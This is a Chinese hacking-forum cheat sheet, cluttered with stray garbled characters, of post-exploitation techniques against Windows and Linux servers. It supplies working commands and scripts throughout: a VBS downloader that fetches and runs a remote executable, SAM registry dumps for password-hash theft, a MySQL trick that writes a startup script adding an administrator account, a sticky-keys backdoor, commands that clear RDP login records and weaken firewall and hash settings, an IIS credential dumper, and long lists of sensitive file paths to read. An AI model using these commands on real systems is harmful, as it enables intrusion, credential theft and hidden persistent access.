1、tar打包            tar -cvf /home/public_html/*.tar /home/public_html/--exclude= 排除文件*.gif   排除目录 /xx/xx/*
6 m1 q7 s/ v$ s. P9 g; i% U; lalzip打包(韩国) alzip -a D:\WEB\ d:\web\*.rar
{
注：
关于tar的打包方式,linux不以扩展名来决定文件类型。
3 k& w  _2 S' @" @. ^若压缩的话tar -ztf *.tar.gz   查看压缩包里内容     tar -zxf *.tar.gz 解压
- I, R1 m( }3 k" f8 \那么用这条比较好 tar -czf /home/public_html/*.tar.gz /home/public_html/--exclude= 排除文件*.gif   排除目录 /xx/xx/*
}  

. y, J8 ]7 F! y9 Y9 z; \提权先执行systeminfo
token 漏洞补丁号 KB956572
1 b- _# X2 M1 N2 E5 [Churrasco          kb952004
) D" C  J0 n7 J4 E$ O7 ]命令行RAR打包~~·
" e1 e6 s* L) w, {rar a -k -r -s -m3 c:\1.rar c:\folder
9 f% {1 B8 h/ A/ P——————————————
2、收集系统信息的脚本  
; x2 |/ M. t  s& m7 J8 M* |3 Lfor window：

@echo off
echo #########system info collection
' S: o4 f( E' g% t! Z2 ?& Ysysteminfo
: d( C- K8 ?3 K" ~" o9 Z9 A; Iver
hostname
8 w" d  [& b. ]  w" B) Dnet user
$ y6 [- c% ^/ F# b4 bnet localgroup
net localgroup administrators
net user guest
net user administrator
6 z6 }" S- V: x/ }( m
8 W! Y% z- ^! H$ w& H/ n& h4 Z; Oecho #######at- with   atq#####
& Q# t( g0 q% M8 V6 x9 W% W( B2 techo schtask /query

echo
  N1 y" C4 J. Oecho ####task-list#############
tasklist /svc
echo
echo ####net-work infomation
ipconfig/all
+ I! t5 }. c7 l: Q- i/ eroute print
/ i! {. q9 z4 Q2 ]+ carp -a
netstat -anipconfig /displaydns
( R9 O. |& V: m- G5 f5 P6 n' K+ R/ Hecho
9 }' t; @- |$ l# V# Vecho #######service############
  ]! q8 R/ Z$ O) o0 Y. J! y4 ^) asc query type= service state= all
" V. q; o$ x( M1 ]2 Recho #######file-##############
cd \
tree -F
for linux：
8 ^8 o+ j. [4 {3 H
- I* x8 D0 K' f) ^#!/bin/bash

echo #######geting sysinfo####
echo ######usage: ./getinfo.sh >/tmp/sysinfo.txt
+ f) y7 T. H: z5 c& x6 O% v; Jecho #######basic infomation##
cat /proc/meminfo
echo
cat /proc/cpuinfo
* w8 ~3 N7 j  Fecho
rpm -qa 2>/dev/null
, d# V9 F  z5 ]% X######stole the mail......######
cp -a /var/mail /tmp/getmail 2>/dev/null

) w' q3 u$ }# f! @2 {, v5 {
echo 'u'r id is' `id`
/ b5 D2 y4 q* N" p$ Secho ###atq&crontab#####
atq
crontab -l
5 `# v! `/ K  S  Y$ s; techo #####about var#####
set

echo #####about network###
5 [1 x3 P, N9 k$ w/ O7 I####this is then point in pentest,but i am a new bird,so u need to add some in it
- o" F. w' O8 f/ y/ Ncat /etc/hosts
; O/ |6 J1 h$ `hostname
ipconfig -a
) y: ^" q4 E/ ?: sarp -v
echo ########user####
cat /etc/passwd|grep -i sh

0 B+ [1 e( g8 o# R! t8 Z, Recho ######service####
( f6 H2 v. I/ Y. p: m' u9 I2 echkconfig --list
7 W$ F% @1 `$ Y
; C1 I! \) e) x* rfor i in {oracle,mysql,tomcat,samba,apache,ftp}
# x! g. \  e: f* Q- f' x2 C# m; ecat /etc/passwd|grep -i $i
done

locate passwd >/tmp/password 2>/dev/null
" ]+ ]  F. D  J6 ^# p4 E' I4 j% isleep 5
3 R% u" Q! s, Xlocate password >>/tmp/password 2>/dev/null
sleep 5
locate conf >/tmp/sysconfig 2>dev/null
sleep 5
locate config >>/tmp/sysconfig 2>/dev/null
' ]" w4 O: W3 k* |) z$ i  ~sleep 5
# F7 z5 i6 e5 A; c! M0 U  O2 `
- S) h7 ~( ^5 Z* t###maybe can use "tree /"###
echo ##packing up#########
tar cvf getsysinfo.tar /tmp/getmail /tmp/password /tmp/sysconfig
rm -rf /tmp/getmail /tmp/password /tmp/sysconfig
——————————————
1 h2 A# U* e6 K% x7 F3、ethash 不免杀怎么获取本机hash。
/ B7 ]7 ?* ]) m5 c/ i0 F( ^首先导出注册表 regedit /e d:\aa.reg "HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users"   （2000）
               reg export "HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users" d:\aa.reg  （2003）
注意权限问题，一般注册表默认sam目录是不能访问的。需要设置为完全控制以后才可以访问（界面登录的需要注意，system权限可以忽略）
$ b+ M9 `" n1 `8 e5 J! ]接下来就简单了，把导出的注册表，down 到本机，修改注册表头导入本机，然后用抓去hash的工具抓本地用户就OK了
8 `5 J+ }6 Y1 Yhash 抓完了记得把自己的账户密码改过来哦！
据我所知，某人是用这个方法虚拟机多次因为不知道密码而进不去！~
——————————————
4 R- t% q2 L% K0 S  o- ?# s. a4、vbs 下载者
1 z1 ]- q, K3 r1
echo Set sGet = createObject("ADODB.Stream") >>c:\windows\cftmon.vbs
* V" z( E$ f. A# {' S8 G( y0 h5 Mecho sGet.Mode = 3 >>c:\windows\cftmon.vbs
echo sGet.Type = 1 >>c:\windows\cftmon.vbs
; [2 f# k) ?" {' N; @7 Xecho sGet.Open() >>c:\windows\cftmon.vbs
echo sGet.Write(xPost.responseBody) >>c:\windows\cftmon.vbs
3 I$ ^3 y1 r# h5 eecho sGet.SaveToFile "c:\windows\e.exe",2 >>c:\windows\cftmon.vbs
echo Set objShell = CreateObject("Wscript.Shell") >>c:\windows\cftmon.vbs
/ s5 S5 ~* s- m5 B+ E; mecho objshell.run """c:\windows\e.exe""" >>c:\windows\cftmon.vbs
9 x9 u1 M9 U9 _4 X" d: k4 L1 x: mcftmon.vbs

7 c( h4 Y9 {$ E: g! L2
0 @+ j( @  b- F5 \9 U( Z' KOn Error Resume Nextim iRemote,iLocal,s1,s2
iLocal = LCase(WScript.Arguments(1)):iRemote = LCase(WScript.Arguments(0))  
s1="Mi"+"cro"+"soft"+"."+"XML"+"HTTP":s2="ADO"+"DB"+"."+"Stream"
; ]4 ~" ]! t0 pSet xPost = CreateObject(s1):xPost.Open "GET",iRemote,0:xPost.Send()
Set sGet = CreateObject(s2):sGet.Mode=3:sGet.Type=1:sGet.Open()
sGet.Write(xPost.responseBody):sGet.SaveToFile iLocal,2
% R  f1 o. @  g0 H
7 d+ ~" H5 O( y* g, ]: kcscript c:\down.vbs http://xxxx/mm.exe c:\mm.exe
/ q9 X" V* [9 t! n5 c; R3 J
当GetHashes获取不到hash时，可以用兵刃把sam复制到桌面
——————————————————
- T6 ~' x; |, `6 G! `' _) w. \* x5、
% l0 j, d# @9 B5 ?1.查询终端端口
7 C3 G% P" ]9 j! K6 f. yREG query HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server\WinStations\RDP-Tcp /v PortNumber
8 N% |- d- j+ d2.开启XP&2003终端服务
* k; C$ v; \; J: [) ~9 LREG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f
/ q+ c% K/ A5 g4 u* W" [+ [3.更改终端端口为2008(0x7d8)
' O3 A" U+ X4 XREG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server\Wds\rdpwd\Tds\tcp /v PortNumber /t REG_DWORD /d 0x7d8 /f
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server\WinStations\RDP-Tcp /v PortNumber /t REG_DWORD /d 0x7D8 /f
) x* Q2 a1 @0 e+ F. k0 H4.取消xp&2003系统防火墙对终端服务的限制及IP连接的限制
REG ADD HKLM\SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\GloballyOpenPorts\List /v 3389:TCP /t REG_SZ /d 3389:TCP:*:Enabled   xpsp2res.dll,-22009 /f
( J' l2 r  R- j8 S: c/ C————————————————
! k! R# G0 Z1 R; _5 Y6、create table a (cmd text);
: q+ x2 ^8 ], }* |" J- R- g' Linsert into a values ("set wshshell=createobject (""wscript.shell"")");
insert into a values ("a=wshshell.run (""cmd.exe /c net user admin admin /add"",0)");
insert into a values ("b=wshshell.run (""cmd.exe /c net localgroup administrators admin /add"",0)");  
select * from a into outfile "C:\\Documents and Settings\\All Users\\「开始」菜单\\程序\\启动\\a.vbs";
————————————————————
# B8 R! D' a4 V& Z3 {7、BS马的PortMap功能，类似LCX做转发。若果支持ASPX，用这个转发会隐蔽点。（注：一直忽略了在偏僻角落的那个功能）
' ?+ r. l; E3 Y% k+ b1 l_____
8、for /d %i in (d:\freehost\*) do @echo %i
) f* {4 n3 {1 H$ G: z
列出d的所有目录
( _1 b( |5 N* X# b, p  
  for /d %i in (???) do @echo %i
; ?7 j+ u0 a: \' z# i' h2 S/ c) _
把当前路径下文件夹的名字只有1-3个字母的打出来

9 e9 t. f! o4 b! E6 o5 l' C2.for /r %i in (*.exe) do @echo %i
  
以当前目录为搜索路径.会把目录与下面的子目录的全部EXE文件列出
& q# e% E" Y. u5 C2 F9 B- [
for /r f:\freehost\hmadesign\web\ %i in (*.*) do @echo %i

2 H1 ^! |* k/ W2 C4 {8 y' ?3.for /f %i in (c:\1.txt) do echo %i
  
' W5 c, ~/ Z/ J6 h, d( T  //这个会显示a.txt里面的内容，因为/f的作用，会读出a.txt中
8 Q8 @' l3 U. Y1 H( Q) N
4 q  e( o) R( `0 d% F( q3 I  n4.for /f "tokens=2 delims= " %i in (a.txt) do echo %i

( B5 x" L. W+ n  delims=后的空格是分隔符 tokens是取第几个位置
) }4 R5 y) _( J1 u——————————
●注册表:
6 W' E8 `, U; A! ~1.Administrator注册表备份:
reg export HKLM\SAM\SAM\Domains\Account\Users\000001F4 c:\1f4.reg

1 X, g# r5 V" W) v2.修改3389的默认端口:
) _$ X3 w0 V" g( o4 f! c' yHKLM\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp
修改PortNumber.

( y5 ]; J  L  n! @3.清除3389登录记录:
* M* m6 O# @2 f" `! x5 p9 sreg delete "HKCU\Software\Microsoft\Terminal Server Client"  /f

4.Radmin密码:
reg export HKLM\SYSTEM\RAdmin c:\a.reg

0 Y0 K4 D1 h, I5 ?. ]5.禁用TCP/IP端口筛选(需重启):
5 v1 e. n7 q0 [9 h: ?8 ?8 g9 j& b- ^REG ADD HKLM\SYSTEM\ControlSet001\Services\Tcpip\parameters /v EnableSecurityFilters /t REG_DWORD /d 0 /f

9 ]4 s2 l7 r, O/ j: l) Z6.IPSec默认免除项88端口(需重启):
$ Q) F- H5 o6 l* qreg add HKLM\SYSTEM\CurrentControlSet\Services\IPSEC /v NoDefaultExempt /t REG_DWORD /d 0 /f
或者
netsh ipsec dynamic set config ipsecexempt value=0
7 p, V4 V) p/ [8 t1 {# w
4 r9 ^/ q) T; Q7.停止指派策略"myipsec":
. D0 v% P% r, |% F  D( n( gnetsh ipsec static set policy name="myipsec" assign=n

8.系统口令恢复LM加密:
reg add HKLM\SYSTEM\CurrentControlSet\Control\Lsa /v LMCompatibilityLevel /t REG_DWORD /d 0 /f
3 y+ C" v7 z% P, N2 @' Z0 Q8 J
5 g/ [; E9 M6 I0 E! e3 w# [9.另类方法抓系统密码HASH
reg save hklm\sam c:\sam.hive
reg save hklm\system c:\system.hive
reg save hklm\security c:\security.hive
5 a6 g" |# {: X1 _
10.shift映像劫持
reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe" /v debugger /t REG_sz /d cmd.exe
$ G% `4 `, p% M# ~2 e
reg delete "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe" /f
-----------------------------------
星外vbs(注：测试通过，好东西）
Set ObjService=GetObject("IIS://LocalHost/W3SVC")
& r: C( B5 ?6 J% w  L4 d! BFor Each obj3w In objservice
5 s  T# y" K% x0 v( E) [; }3 OchildObjectName=replace(obj3w.AdsPath,Left(obj3w.Adspath,22),"")
if IsNumeric(childObjectName)=true then
7 P! J0 B  {8 g# x# F& Pset IIs=objservice.GetObject("IIsWebServer",childObjectName)
9 s8 b$ C9 w: {; Lif err.number<>0 then
  Q  \7 b, ^# n6 ]  _. v3 cexit for
msgbox("error!")
. y( O! i) n& V% A& Jwscript.quit
/ c) G0 D6 I6 i* y" Qend if
serverbindings=IIS.serverBindings
9 Q. [% C; d. E) o0 fServerComment=iis.servercomment
7 z) ~9 G+ T. C% Xset IISweb=iis.getobject("IIsWebVirtualDir","Root")
user=iisweb.AnonymousUserName
3 \' a* j( i/ ?7 B1 kpass=iisweb.AnonymousUserPass
path=IIsWeb.path
* {5 V, a- w+ R6 y5 A  Glist=list&servercomment&" "&user&" "&pass&" "&join(serverBindings,",")&" "&path& vbCrLf & vbCrLf
, s$ r4 c" t4 e6 h1 `7 |8 I& j( Iend if
Next
wscript.echo list
Set ObjService=Nothing
wscript.echo "from : http://www.xxx.com/" &vbTab&vbCrLf
WScript.Quit
复制代码
----------------------2011新气象，欢迎各位补充、指正、优化。----------------
1、Firefox的利用(主要用于内网渗透），火狐浏览器的密码储存在C:\Documents and Settings\Administrator\Application Data\Mozilla\Firefox\Profiles\文件夹，打包后，本地查看。或有很多惊喜~
& C2 `3 O, O4 q6 k  k2、win2k的htt提权（注：仅适合2k以及以下版本，文件夹不限,只读权限即可)
将folder.htt文件，加入以下代码：
<OBJECT ID=RUNIT WIDTH=0 HEIGHT=0 TYPE="application/x-oleobject" CODEBASE="cmd.exe">
4 M( ~  L/ s* b" J/ g</OBJECT>
复制代码
然后与desktop.ini、cmd.exe同一个文件夹。当管理打开该文件夹时即可运行。
' g; O0 w3 y' Q. l4 r' {PS：我N年前在邪八讨论过XP下htt提权，由于N年前happy蠕虫的缘故，2K以后都没有folder.htt文件，但是xp下的htt自运行各位大牛给个力~
asp代码，利用的时候会出现登录问题
原因是ASP大马里有这样的代码：（没有就没事儿了）
0 s1 M  R6 o  b3 m6 W url=request.severvariables("url")
6 @7 D. ]) o+ ~) T# s 这里显示接收到的参数是通过URL来传递的，也就是说登录大马的时候服务器会解析b.asp，于是就出现了问题。
: j! A6 A) @: k, D( I: I 解决方法
, \3 R2 s" a6 {+ T; ]9 k$ d4 c url=request.severvariables("path_info")
path_info可以直接呈现虚拟路径 顺利解析gif大马
2 M8 @, C0 ?7 r% E# |5 _/ @: u
==============================================================
' l' p  X, d8 _% o8 g9 w+ ?& C4 I* G& YLINUX常见路径：

  t- K$ M; ^! m2 \5 l- ^1 q* |" X/etc/passwd
8 s0 M  x% q3 S  _# B/etc/shadow
/etc/fstab
' N, X7 `+ c; ]. k% \+ d- J3 y( k/etc/host.conf
/etc/motd
/etc/ld.so.conf
/var/www/htdocs/index.php
/var/www/conf/httpd.conf
/var/www/htdocs/index.html
: h4 s$ y; O5 K3 e/var/httpd/conf/php.ini
/var/httpd/htdocs/index.php
% ~! v6 w, q- |/ v1 _/var/httpd/conf/httpd.conf
/var/httpd/htdocs/index.html
/var/httpd/conf/php.ini
$ C" P2 |! o  V& `# ?/var/www/index.html
; y+ L3 e( w5 C, c+ X; F/var/www/index.php
/opt/www/conf/httpd.conf
- L  Y( W0 y9 W. X0 L( `/opt/www/htdocs/index.php
( S) S) Q# F6 {  x8 w% _/opt/www/htdocs/index.html
/usr/local/apache/htdocs/index.html
/usr/local/apache/htdocs/index.php
/ w; h5 c. k6 V0 b0 U. F7 T/usr/local/apache2/htdocs/index.html
6 _. ~4 O- s5 O( y! a7 {/usr/local/apache2/htdocs/index.php
* R3 P# q* d! F9 i( Y5 C* n/usr/local/httpd2.2/htdocs/index.php
6 t+ X9 b6 U0 W8 @. ^/usr/local/httpd2.2/htdocs/index.html
$ ^& J8 a8 v/ i* d* f# [* l9 k/tmp/apache/htdocs/index.html
5 k5 s3 L9 ^3 ?0 t9 I1 B, ]+ W/tmp/apache/htdocs/index.php
/etc/httpd/htdocs/index.php
/etc/httpd/conf/httpd.conf
  e. J5 h. h  e1 B, Q& n# a3 R/etc/httpd/htdocs/index.html
/www/php/php.ini
4 ?* ~0 U* ^. G, J6 ^/www/php4/php.ini
/www/php5/php.ini
/ J6 h' r- \! a! g  k, q/www/conf/httpd.conf
/www/htdocs/index.php
: Q/ }, T' U( I# O/www/htdocs/index.html
/usr/local/httpd/conf/httpd.conf
+ _0 z6 f( o( y4 L% G/ d/apache/apache/conf/httpd.conf
/apache/apache2/conf/httpd.conf
/etc/apache/apache.conf
' h2 `) D9 Y' O  I/etc/apache2/apache.conf
/etc/apache/httpd.conf
7 q3 m, q  P4 l2 p5 y/etc/apache2/httpd.conf
/etc/apache2/vhosts.d/00_default_vhost.conf
, Y! Y. h; I" B5 i7 U2 E- N/etc/apache2/sites-available/default
9 u" q4 h( _( f4 x- A( o/etc/phpmyadmin/config.inc.php
/etc/mysql/my.cnf
/etc/httpd/conf.d/php.conf
/etc/httpd/conf.d/httpd.conf
+ x$ x7 D  E- }- u  p# x: `2 O: `/etc/httpd/logs/error_log
" p4 B' R  _, ~' R1 D/etc/httpd/logs/error.log
) W  ~( o8 E7 i1 c  k9 U- q* u6 J/etc/httpd/logs/access_log
/etc/httpd/logs/access.log
/home/apache/conf/httpd.conf
/home/apache2/conf/httpd.conf
: n/ m0 G) B9 b/var/log/apache/error_log
/var/log/apache/error.log
% P& ~/ U) {* O/ P" O9 H/var/log/apache/access_log
" o' N8 L% C5 q. O8 Q: b, Y" H: }/var/log/apache/access.log
+ N; E; X1 b- v/ W% f/var/log/apache2/error_log
/var/log/apache2/error.log
% G8 m: S8 S& m* I& d0 D  W/var/log/apache2/access_log
/var/log/apache2/access.log
& F* b3 u' c  ~* p9 F/var/www/logs/error_log
/var/www/logs/error.log
+ T) G# M3 E1 C+ O& H/var/www/logs/access_log
( k0 Y6 k6 U  f+ R7 |& u$ ^! ~% x/var/www/logs/access.log
/usr/local/apache/logs/error_log
5 W8 h4 b3 G( L  _/usr/local/apache/logs/error.log
2 u' E+ K( z) R/usr/local/apache/logs/access_log
/usr/local/apache/logs/access.log
; ~1 S' X" v# d' H/ j) x; I: K/var/log/error_log
/var/log/error.log
/var/log/access_log
; B4 S) V' W# J8 k/var/log/access.log
/usr/local/apache/logs/access_logaccess_log.old
/usr/local/apache/logs/error_logerror_log.old
/etc/php.ini
/bin/php.ini
$ Y+ M0 P6 w) t/etc/init.d/httpd
: O4 F; T% P  ^/ c% m% K7 M/etc/init.d/mysql
/etc/httpd/php.ini
: [2 V! x7 M, G5 z/usr/lib/php.ini
' s$ z- A/ V: q- o5 @, l, d/usr/lib/php/php.ini
; [. W8 i) v$ ~% k/usr/local/etc/php.ini
$ g8 h: F( A% k% Z. k+ c8 D" c/usr/local/lib/php.ini
/usr/local/php/lib/php.ini
' B8 b# N0 C  P  r8 z) |/usr/local/php4/lib/php.ini
! a3 y$ M+ F( a) g3 ], W  v: E9 o. i, @/usr/local/php4/php.ini
/usr/local/php4/lib/php.ini
% |" H7 D4 c- K, Z- v) @/usr/local/php5/lib/php.ini
/usr/local/php5/etc/php.ini
" o$ k5 i: u! S3 b/usr/local/php5/php5.ini
  V. ?! t: M7 V7 a- a  U- o1 P/usr/local/apache/conf/php.ini
& E* B& P  i; p# t; b/usr/local/apache/conf/httpd.conf
5 n. G( Q% m5 e" E8 F/usr/local/apache2/conf/httpd.conf
4 N$ \. T2 W& L; B/ h/usr/local/apache2/conf/php.ini
) X+ m- E1 S6 a# u6 f/etc/php4.4/fcgi/php.ini
/etc/php4/apache/php.ini
* d& ?" b9 r% L  }) _( G7 z/etc/php4/apache2/php.ini
7 N6 [7 A: _6 k6 o* t/ ^# C3 Y/etc/php5/apache/php.ini
8 ~9 J, @" k% [6 `/etc/php5/apache2/php.ini
/etc/php/php.ini
0 k  E: @8 Y- h  `, I; b( Q% I/etc/php/php4/php.ini
/etc/php/apache/php.ini
/etc/php/apache2/php.ini
/web/conf/php.ini
/usr/local/Zend/etc/php.ini
8 c) C! e) y' ]" T% d7 K) S/opt/xampp/etc/php.ini
, m9 I/ Z2 X* u. b/var/local/www/conf/php.ini
, Q! }5 o  K$ I6 O7 A+ R/var/local/www/conf/httpd.conf
/etc/php/cgi/php.ini
: |) R) U  i7 x0 g/ h$ g. ~" a/etc/php4/cgi/php.ini
5 w5 I5 r. n5 J5 o2 o/etc/php5/cgi/php.ini
/php5/php.ini
/ q- e* L; x! l7 m8 a9 e/php4/php.ini
/php/php.ini
/PHP/php.ini
2 h/ B2 j9 F* O" {  L$ o/apache/php/php.ini
/xampp/apache/bin/php.ini
/xampp/apache/conf/httpd.conf
/NetServer/bin/stable/apache/php.ini
/home2/bin/stable/apache/php.ini
5 e) z/ e5 y5 m" x9 v; f/home/bin/stable/apache/php.ini
, s; }! P0 p- r0 u5 R/var/log/mysql/mysql-bin.log
7 h) `$ z. b0 O! {1 `2 g/var/log/mysql.log
1 w3 A' `: ?1 \# Y/var/log/mysqlderror.log
  t* l# k! ~0 {, H/var/log/mysql/mysql.log
/var/log/mysql/mysql-slow.log
* i1 Q' p: ~( s3 }& W5 J/ O! T/var/mysql.log
/var/lib/mysql/my.cnf
- P+ a; \. g3 l, [: K/ B' ~( W, z/usr/local/mysql/my.cnf
/usr/local/mysql/bin/mysql
/etc/mysql/my.cnf
5 y( t% A# f6 t- j% {: @6 g+ `+ A/etc/my.cnf
4 e8 y; h) O& q( i! {4 O/usr/local/cpanel/logs
/usr/local/cpanel/logs/stats_log
/usr/local/cpanel/logs/access_log
/usr/local/cpanel/logs/error_log
! ?6 ~% K  z+ |5 W/usr/local/cpanel/logs/license_log
! B# f2 H% x, |- b( M" P1 m/usr/local/cpanel/logs/login_log
4 @; ?" \9 L1 p& w3 l' K/usr/local/cpanel/logs/stats_log
% o, X, d* g7 x! d6 x9 J% L1 ?/usr/local/share/examples/php4/php.ini
! j# \8 Y+ f+ H9 S+ c+ u/usr/local/share/examples/php/php.ini

& C7 w+ c9 V9 d, t: x2..windows常见路径（可以将c盘换成d,e盘,比如星外虚拟主机跟华众得,一般都放在d盘）

c:\windows\php.ini
c:\boot.ini
; \+ O$ ^  Z9 a% x; u: yc:\1.txt
c:\a.txt

c:\CMailServer\config.ini
c:\CMailServer\CMailServer.exe
c:\CMailServer\WebMail\index.asp
  o, R/ l: s: A' M# }2 Tc:\program files\CMailServer\CMailServer.exe
' N/ s! X6 J. k& Q' G5 t, \% Dc:\program files\CMailServer\WebMail\index.asp
7 z" d8 R3 s# S4 KC:\WinWebMail\SysInfo.ini
C:\WinWebMail\Web\default.asp
. \$ I! y/ u/ h3 f% a# V7 {C:\WINDOWS\FreeHost32.dll
3 N" i: M: G) |/ G/ FC:\WINDOWS\7i24iislog4.exe
C:\WINDOWS\7i24tool.exe

c:\hzhost\databases\url.asp

c:\hzhost\hzclient.exe
1 j; f& M9 U$ q& K  O+ {1 y4 iC:\Documents and Settings\All Users\「开始」菜单\程序\7i24虚拟主机管理平台\自动设置[受控端].lnk
/ ?( b! {0 s; n3 V5 o; ~7 n
) s9 I- Z# l' |C:\Documents and Settings\All Users\「开始」菜单\程序\Serv-U\Serv-U Administrator.lnk
C:\WINDOWS\web.config
/ d) `9 a) E9 z9 r6 Pc:\web\index.html
! j/ N' f" H6 o4 [4 Nc:\www\index.html
( j& Y9 @: V! ]# H, t; \c:\WWWROOT\index.html
c:\website\index.html
' d) K$ d3 l6 e3 t9 H5 ]: o8 Kc:\web\index.asp
, D2 H2 S, S4 E( {c:\www\index.asp
c:\wwwsite\index.asp
1 N; L0 H$ i) w' g& r1 d- Pc:\WWWROOT\index.asp
c:\web\index.php
c:\www\index.php
c:\WWWROOT\index.php
2 s8 F* c3 n7 F7 w9 S  D- C% Fc:\WWWsite\index.php
: T- n$ @: h, K+ tc:\web\default.html
c:\www\default.html
' \: F8 M$ z, H; Y2 N! F2 oc:\WWWROOT\default.html
2 q1 F4 t( y+ O% |4 ?c:\website\default.html
/ Y6 t. T: h1 ?5 qc:\web\default.asp
c:\www\default.asp
c:\wwwsite\default.asp
- o' H- P# `. Z  [9 Bc:\WWWROOT\default.asp
c:\web\default.php
* H# U+ D9 C2 @: Dc:\www\default.php
8 R9 F$ n) y$ h- d0 Xc:\WWWROOT\default.php
c:\WWWsite\default.php
C:\Inetpub\wwwroot\pagerror.gif
c:\windows\notepad.exe
c:\winnt\notepad.exe
0 h6 b' y; L8 V4 O0 s. p. w/ {: oC:\Program Files\Microsoft Office\OFFICE10\winword.exe
C:\Program Files\Microsoft Office\OFFICE11\winword.exe
% v/ T) x$ `% e- E, X8 m  V/ sC:\Program Files\Microsoft Office\OFFICE12\winword.exe
& y5 w9 ^4 M: g, O3 D' v5 A7 WC:\Program Files\Internet Explorer\IEXPLORE.EXE
. R" A" @. n% N" I: \C:\Program Files\winrar\rar.exe
C:\Program Files\360\360Safe\360safe.exe
C:\Program Files\360Safe\360safe.exe
' Y' ?+ z3 D# Z9 }0 m' a4 t% uC:\Documents and Settings\Administrator\Application Data\360Safe\360Examine\360Examine.log
c:\ravbin\store.ini
c:\rising.ini
9 A' m+ ?8 O1 Y. ?C:\Program Files\Rising\Rav\RsTask.xml
C:\Documents and Settings\All Users\Start Menu\desktop.ini
C:\Documents and Settings\Administrator\My Documents\Default.rdp
C:\Documents and Settings\Administrator\Cookies\index.dat
C:\Documents and Settings\Administrator\My Documents\新建 文本文档.txt
/ ^; g! c7 n- I* `5 mC:\Documents and Settings\Administrator\桌面\新建 文本文档.txt
" Z* {( p. C8 ]  r6 S) B; L. UC:\Documents and Settings\Administrator\My Documents\1.txt
C:\Documents and Settings\Administrator\桌面\1.txt
C:\Documents and Settings\Administrator\My Documents\a.txt
) v% p- b& V* a, t2 ZC:\Documents and Settings\Administrator\桌面\a.txt
- {. W" K/ b; z( K% Y- kC:\Documents and Settings\All Users\Documents\My Pictures\Sample Pictures\Blue hills.jpg
E:\Inetpub\wwwroot\aspnet_client\system_web\1_1_4322\SmartNav.htm
  N8 V* f# P* z  ZC:\Program Files\RhinoSoft.com\Serv-U\Version.txt
C:\Program Files\RhinoSoft.com\Serv-U\ServUDaemon.ini
C:\Program Files\Symantec\SYMEVENT.INF
3 `% E1 Y8 ^/ E1 v/ S3 D* qC:\Program Files\Microsoft SQL Server\80\Tools\Binn\sqlmangr.exe
C:\Program Files\Microsoft SQL Server\MSSQL\Data\master.mdf
C:\Program Files\Microsoft SQL Server\MSSQL.1\MSSQL\Data\master.mdf
; W  [. c: ~; P2 M8 O; p7 t; mC:\Program Files\Microsoft SQL Server\MSSQL.2\MSSQL\Data\master.mdf
* {( u! s* y% c, h; S  {C:\Program Files\Microsoft SQL Server\80\Tools\HTML\database.htm
; d3 H8 c1 v  B- [% p: }7 eC:\Program Files\Microsoft SQL Server\MSSQL\README.TXT
C:\Program Files\Microsoft SQL Server\90\Tools\Bin\DdsShapes.dll
* G6 \# }8 D2 k5 i+ TC:\Program Files\Microsoft SQL Server\MSSQL\sqlsunin.ini
C:\MySQL\MySQL Server 5.0\my.ini
C:\Program Files\MySQL\MySQL Server 5.0\my.ini
C:\Program Files\MySQL\MySQL Server 5.0\data\mysql\user.frm
C:\Program Files\MySQL\MySQL Server 5.0\COPYING
C:\Program Files\MySQL\MySQL Server 5.0\share\mysql_fix_privilege_tables.sql
C:\Program Files\MySQL\MySQL Server 4.1\bin\mysql.exe
c:\MySQL\MySQL Server 4.1\bin\mysql.exe
c:\MySQL\MySQL Server 4.1\data\mysql\user.frm
C:\Program Files\Oracle\oraconfig\Lpk.dll
C:\WINDOWS\Microsoft.NET\Framework\v2.0.50727\aspnet_state.exe
0 E8 U; R1 |7 GC:\WINDOWS\system32\inetsrv\w3wp.exe
+ s, E. i; f- [& ^  D' J/ O1 _: J) ?C:\WINDOWS\system32\inetsrv\inetinfo.exe
C:\WINDOWS\system32\inetsrv\MetaBase.xml
C:\WINDOWS\system32\inetsrv\iisadmpwd\achg.asp
C:\WINDOWS\system32\config\default.LOG
' h; B4 ]; Z& m( b" i6 uC:\WINDOWS\system32\config\sam
$ Z* v& K+ Q1 ?0 X* M5 b3 q! y' DC:\WINDOWS\system32\config\system
3 g2 q- r) D- P  S$ _c:\CMailServer\config.ini
* Q: n3 h- X  y; T* Q2 gc:\program files\CMailServer\config.ini
c:\tomcat6\tomcat6\bin\version.sh
# D0 J" ?  v7 `" d8 n$ ~6 rc:\tomcat6\bin\version.sh
c:\tomcat\bin\version.sh
c:\program files\tomcat6\bin\version.sh
C:\Program Files\Apache Software Foundation\Tomcat 6.0\bin\version.sh
c:\Program Files\Apache Software Foundation\Tomcat 6.0\logs\isapi_redirect.log
c:\Apache2\Apache2\bin\Apache.exe
, Z3 T' ^6 k& U7 Lc:\Apache2\bin\Apache.exe
9 u. {% u$ d8 D) H. v4 f5 z9 qc:\Apache2\php\license.txt
C:\Program Files\Apache Group\Apache2\bin\Apache.exe
/usr/local/tomcat5527/bin/version.sh
) M( D4 \. Z  s& s3 Z2 L/usr/share/tomcat6/bin/startup.sh
/usr/tomcat6/bin/startup.sh
c:\Program Files\QQ2007\qq.exe
+ o9 V+ N2 D$ p+ w7 Q, s. Nc:\Program Files\Tencent\qq\User.db
/ X. w0 U9 o; g) _c:\Program Files\Tencent\qq\qq.exe
c:\Program Files\Tencent\qq\bin\qq.exe
. Q1 M" E; {3 n6 lc:\Program Files\Tencent\qq2009\qq.exe
c:\Program Files\Tencent\qq2008\qq.exe
3 i. j2 B0 p7 f( ^+ R0 U+ Dc:\Program Files\Tencent\qq2010\bin\qq.exe
; Z# f- j+ Q4 ^# Qc:\Program Files\Tencent\qq\Users\All Users\Registry.db
C:\Program Files\Tencent\TM\TMDlls\QQZip.dll
& c& I4 |$ ~/ t1 h$ Fc:\Program Files\Tencent\Tm\Bin\Txplatform.exe
